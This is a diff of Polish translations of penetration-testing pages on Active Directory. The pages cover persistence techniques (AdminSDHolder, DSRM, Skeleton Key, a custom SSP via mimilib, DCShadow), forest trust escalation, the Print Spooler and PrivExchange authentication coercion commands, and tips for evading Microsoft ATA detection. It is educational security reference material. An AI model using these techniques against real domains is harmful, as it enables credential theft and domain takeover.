**Posiadanie certyfikatów konta lub możliwość ich żądania** to bardzo dobry sposób na utrzymanie się w koncie użytkownika (nawet jeśli zmieni hasło):
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
### **Utrzymanie Certyfikatów w Domenie**
**Używanie certyfikatów również umożliwia utrzymanie się z wysokimi uprawnieniami w obrębie domeny:**
**Używanie certyfikatów również umożliwia utrzymanie się z wysokimi uprawnieniami w domenie:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
### Grupa AdminSDHolder
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Administratorzy Domeny i Administratorzy Enterprise) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużywana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby przyznać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne kontrolę nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że jest ściśle monitorowane.
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanych grup** (takich jak Administratorzy Domeny i Administratorzy Enterprise) poprzez zastosowanie standardowej **Listy Kontroli Dostępu (ACL)** w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużywana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, aby przyznać pełny dostęp zwykłemu użytkownikowi, ten użytkownik zyskuje znaczne uprawnienia nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające na celu ochronę, może więc obrócić się przeciwko, umożliwiając nieuzasadniony dostęp, chyba że będzie ściśle monitorowane.
[**Więcej informacji na temat grupy AdminDSHolder tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**Więcej informacji o Grupie AdminDSHolder tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### Poświadczenia DSRM
W każdym **kontrolerze domeny (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hash lokalnego administratora może być wyodrębniony za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora.
W każdym **kontrolerze domeny (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hasz lokalnego administratora można wyodrębnić za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora.
{{#ref}}
dsrm-credentials.md
@ -455,9 +455,9 @@ Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi do niektór
acl-persistence-abuse/
{{#endref}}
### Opisniki zabezpieczeń
### Opis bezpieczeństwa
**Opisy zabezpieczeń** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **małej zmiany** w **opisie zabezpieczeń** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
**Opisy bezpieczeństwa** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **niewielkiej zmiany** w **opisie bezpieczeństwa** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
{{#ref}}
security-descriptors.md
@ -465,7 +465,7 @@ security-descriptors.md
### Klucz Szkieletowy
Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dając dostęp do wszystkich kont domenowych.
Zmień **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dające dostęp do wszystkich kont domenowych.
{{#ref}}
skeleton-key.md
@ -473,7 +473,7 @@ skeleton-key.md
### Niestandardowy SSP
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
[Dowiedz się, czym jest SSP (Dostawca Wsparcia Bezpieczeństwa) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.\\
{{#ref}}
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
Rejestruje **nowy kontroler domeny** w AD i używa go do **wypychania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w obrębie **domeny głównej**.\
Rejestruje **nowy kontroler domeny** w AD i używa go do **wprowadzania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w **domenie głównej**.\
Zauważ, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.
{{#ref}}
@ -500,38 +500,38 @@ laps.md
## Eskalacja uprawnień w lesie - Zaufania domen
Microsoft postrzega **las** jako granicę bezpieczeństwa. Oznacza to, że **skomplikowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego lasu**.
Microsoft postrzega **Las** jako granicę bezpieczeństwa. Oznacza to, że **skomplikowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego lasu**.
### Podstawowe informacje
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm zabezpieczeń, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **kontrolerach domeny (DC)**, które są kluczowe dla integralności zaufania.
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to połączenie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **kontrolerach domeny (DC)**, które są kluczowe dla integralności zaufania.
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** od swojego DC domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT do **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
**Kroki**:
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasha NTLM**, aby zażądać **Biletu Grantującego Bilet (TGT)** od swojego **Kontrolera Domeny (DC1)**.
2. DC1 wydaje nowy TGT, jeśli klient jest pomyślnie uwierzytelniony.
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasza NTLM**, aby zażądać **Biletu Przyznawania Biletów (TGT)** od swojego **Kontrolera Domeny (DC1)**.
2. DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony.
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do uzyskania dostępu do zasobów w **Domenie 2**.
4. Inter-realm TGT jest szyfrowany za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domen.
5. Klient zabiera inter-realm TGT do **Kontrolera Domeny 2 (DC2)**.
6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Grantujący Usługę (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp.
7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domenie 2.
6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Usługi Przyznawania Biletów (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp.
7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany haszem konta serwera, aby uzyskać dostęp do usługi w Domenie 2.
### Różne zaufania
Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w przypadku **jednostronnego** zaufania jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**.
Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponadto, w **Domenie A** byłoby to **zaufanie wychodzące**; a w **Domenie B** byłoby to **zaufanie przychodzące**.
Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponadto, w **Domenie A**, byłoby to **zaufanie wychodzące**; a w **Domenie B**, byłoby to **zaufanie przychodzące**.
**Różne relacje zaufania**
- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwustronne zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Zaufania Krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach.
- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransitywne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza aktualnym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznego.
- **Zaufania Korzeni Drzewa**: Te zaufania są automatycznie ustanawiane między korzeniem lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzewa są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Zaufania Lasu**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma korzeniami lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos, które nie są systemami Windows i są zgodne z [RFC4120](https://tools.ietf.org/html/rfc4120). Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransakcyjne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznych.
- **Zaufania Korzeni Drzewa**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzewa są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Zaufania Lasu**: Ten typ zaufania to dwustronne zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120), które nie są systemami Windows. Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
#### Inne różnice w **relacjach zaufania**
@ -541,15 +541,15 @@ Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponad
### Ścieżka ataku
1. **Wymień** relacje zaufania
2. Sprawdź, czy jakikolwiek **podmiot zabezpieczeń** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone w tym celu).
2. Sprawdź, czy jakikolwiek **podmiot bezpieczeństwa** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone dla tego).
1. Kerberoast w tym przypadku może być inną opcją.
3. **Skompromituj** **konta**, które mogą **przejść** przez domeny.
Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech głównych mechanizmów:
- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne kontrolę nad tą maszyną.
- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne uprawnienia nad tą maszyną.
- **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co zapewnia im dostęp do określonych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co daje im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
### Eskalacja uprawnień z dziecka do rodzica w lesie
```
@ -580,19 +580,19 @@ Wznieś się jako administrator Enterprise do domeny dziecka/rodzica, wykorzystu
sid-history-injection.md
{{#endref}}
#### Wykorzystanie zapisywalnego NC Konfiguracji
#### Wykorzystanie zapisywalnego Configuration NC
Zrozumienie, jak NC Konfiguracji (Naming Context) może być wykorzystywane, jest kluczowe. NC Konfiguracji służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Te dane są replikowane do każdego Kontrolera Domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię NC Konfiguracji. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
Zrozumienie, jak Configuration Naming Context (NC) może być wykorzystywane, jest kluczowe. Configuration NC służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
**Połącz GPO z witryną główną DC**
Kontener Witryn NC Konfiguracji zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Ta akcja potencjalnie kompromituje główną domenę, manipulując politykami stosowanymi do tych witryn.
Kontener Sites w Configuration NC zawiera informacje o witrynach wszystkich komputerów dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje domenę główną poprzez manipulację politykami stosowanymi do tych witryn.
Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Kompromitacja dowolnego gMSA w lesie**
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w NC Konfiguracji. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
Szczegółowa analiza znajduje się w dyskusji na temat [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
@ -604,7 +604,7 @@ Dalsze czytanie dostępne jest na temat [Schema Change Trust Attacks](https://im
**Z DA do EA z ADCS ESC5**
Luka ADCS ESC5 celuje w kontrolę nad obiektami Infrastruktury Klucza Publicznego (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w NC Konfiguracji, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
Więcej szczegółów można przeczytać w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS, atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
@ -619,13 +619,13 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
W tym scenariuszu **twój domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Będziesz musiał znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
W tym scenariuszu **twoja domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Będziesz musiał znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### Zewnętrzna domena lasu - jednokierunkowa (wyjściowa)
### Zewnętrzna Domena Leśna - Jednokierunkowa (Wychodząca)
```powershell
Get-DomainTrust -Domain current.local
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu z **innych domen**.
Jednak gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa jako **hasła zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
Jednak gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa **zaufanego hasła** jako **hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** zaufania domeny (co nie jest zbyt powszechne).
Innym sposobem na skompromitowanie zaufanej domeny jest czekanie na maszynie, na której **użytkownik z zaufanej domeny może uzyskać dostęp** do logowania przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny źródłowej ofiary** stamtąd.\
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -686,23 +686,23 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **Wdrażanie technik oszustwa**
- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak użytkownicy lub komputery wabiki, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako zaufane do delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak fałszywi użytkownicy lub komputery, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako zaufane do delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Więcej informacji na temat wdrażania technik oszustwa można znaleźć w [Deploy-Deception na GitHubie](https://github.com/samratashok/Deploy-Deception).
### **Identyfikacja oszustwa**
- **Dla obiektów użytkowników**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty utworzenia i niskie liczby błędnych haseł.
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów wabików z atrybutami obiektów rzeczywistych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów fałszywych z atrybutami prawdziwych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
### **Omijanie systemów wykrywania**
- **Omijanie wykrywania Microsoft ATA**:
- **Enumeracja użytkowników**: Unikanie enumeracji sesji na kontrolerach domeny, aby zapobiec wykryciu przez ATA.
- **Impersonacja biletu**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając się do NTLM.
- **Ataki DCSync**: Zaleca się wykonywanie z niekontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty.
- **Impersonacja biletów**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając poziomu do NTLM.
- **Ataki DCSync**: Zaleca się wykonywanie z nie-kontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty.
## Odniesienia
## Odnośniki
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)

View File

@ -4,12 +4,12 @@
### Custom SSP
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć **własny SSP**, aby **przechwycić** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.
#### Mimilib
Możesz użyć binarnego pliku `mimilib.dll` dostarczonego przez Mimikatz. **To zapisze wszystkie poświadczenia w czystym tekście do pliku.**\
Możesz użyć binarnego pliku `mimilib.dll` dostarczonego przez Mimikatz. **To zapisze w pliku wszystkie poświadczenia w czystym tekście.**\
Umieść dll w `C:\Windows\System32\`\
Uzyskaj listę istniejących pakietów zabezpieczeń LSA:
```bash:attacker@target

View File

@ -8,7 +8,7 @@
## Nadużycie usługi Spooler
Jeśli usługa _**Print Spooler**_ jest **włączona**, możesz użyć niektórych już znanych poświadczeń AD, aby **zażądać** od serwera drukarek kontrolera domeny **aktualizacji** dotyczącej nowych zadań drukowania i po prostu powiedzieć mu, aby **wysłał powiadomienie do jakiegoś systemu**.\
Jeśli usługa _**Print Spooler**_ jest **włączona**, możesz użyć już znanych poświadczeń AD, aby **zażądać** od serwera drukarek kontrolera domeny **aktualizacji** dotyczącej nowych zadań drukowania i po prostu powiedzieć mu, aby **wysłał powiadomienie do jakiegoś systemu**.\
Zauważ, że gdy drukarka wysyła powiadomienie do dowolnych systemów, musi **uwierzytelnić się** w tym **systemie**. Dlatego atakujący może sprawić, że usługa _**Print Spooler**_ uwierzytelni się w dowolnym systemie, a usługa **użyje konta komputera** w tej autoryzacji.
### Znajdowanie serwerów Windows w domenie
@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
```
### Znajdowanie usług Spooler nasłuchujących
Używając nieco zmodyfikowanego @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), sprawdź, czy usługa Spooler nasłuchuje:
Używając nieco zmodyfikowanego @mysmartlogin'a (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), sprawdź, czy usługa Spooler nasłuchuje:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Łączenie z Nieograniczoną Delegacją
Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](unconstrained-delegation.md), atakujący mógłby **sprawić, że drukarka uwierzytelni się w tym komputerze**. Z powodu nieograniczonej delegacji, **TGT** konta **komputera drukarki** będzie **zapisywane w** **pamięci** komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie **odzyskać ten bilet** i go nadużyć ([Pass the Ticket](pass-the-ticket.md)).
Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](unconstrained-delegation.md), atakujący mógłby **sprawić, że drukarka uwierzytelni się w tym komputerze**. Z powodu nieograniczonej delegacji, **TGT** **konta komputera drukarki** będzie **zapisane w** **pamięci** komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie **odzyskać ten bilet** i go wykorzystać ([Pass the Ticket](pass-the-ticket.md)).
## Wymuszenie uwierzytelnienia RCP
@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer
## PrivExchange
Atak `PrivExchange` jest wynikiem luki znalezionej w funkcji **PushSubscription serwera Exchange**. Ta funkcja pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP.
Atak `PrivExchange` jest wynikiem luki znalezionej w **funkcji `PushSubscription` serwera Exchange**. Ta funkcja pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP.
Domyślnie **usługa Exchange działa jako SYSTEM** i ma nadmierne uprawnienia (konkretnie, ma **uprawnienia WriteDacl na domenie przed aktualizacją zbiorczą z 2019 roku**). Ta luka może być wykorzystana do umożliwienia **przekazywania informacji do LDAP i następnie wydobycia bazy danych NTDS domeny**. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania do innych hostów w obrębie domeny. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny.
